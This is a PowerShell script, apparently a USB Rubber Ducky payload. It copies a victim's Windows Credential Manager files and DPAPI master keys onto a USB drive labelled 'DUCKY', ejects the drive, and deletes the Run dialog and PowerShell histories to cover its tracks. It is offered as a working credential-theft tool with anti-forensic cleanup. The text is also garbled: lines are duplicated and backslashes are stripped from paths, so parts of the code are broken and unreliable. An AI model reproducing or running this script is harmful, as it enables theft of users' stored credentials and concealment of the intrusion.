# Variables
$drive = (Get-Volume -FileSystemLabel 'DUCKY').'DUCKY').DriveLetter
$userProfile = $Env:UserProfile

# Get the credential files
$credentialFiles = @(Get-ChildItem -Force "${userProfile}AppDataLocalMicrosoftCredentials")

"${userProfile}\AppData\Local\Microsoft\Credentials\")

# Get the first credential file for now
$credentialFileName = $credentialFiles[0].Name
$credentialFilePath = $credentialFiles[0].FullName

# Copy to ducky
Copy-Item $credentialFilePath "${drive}:${credentialFileName}"

"${drive}:\${credentialFileName}"

# Get the gUIDMasterKey
$protectFolder = (Get-ChildItem -Directory -Force "${userProfile}AppDataRoamingMicrosoftProtect")."${userProfile}\AppData\Roaming\Microsoft\Protect\").FullName

# Copy master key to ducky
Get-ChildItem -Force -Recurse $protectFolder | ForEach-Object {
    $fileName = $_.Name
    $filePath = $_.FullName
    Copy-Item $filePath "${drive}:${fileName}"
"${drive}:\${fileName}"
}

# Eject
$driveEject = New-Object -ComObject Shell.Application
$driveEject.Namespace(17).ParseName("${drive}:").InvokeVerb("Eject")

ParseName("${drive}:").InvokeVerb("Eject")

# Cleanup traces

# Delete run box history
reg.exe delete HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f

# Delete Powershell history
Remove-Item (Get-PSreadlineOption).HistorySavePath

exit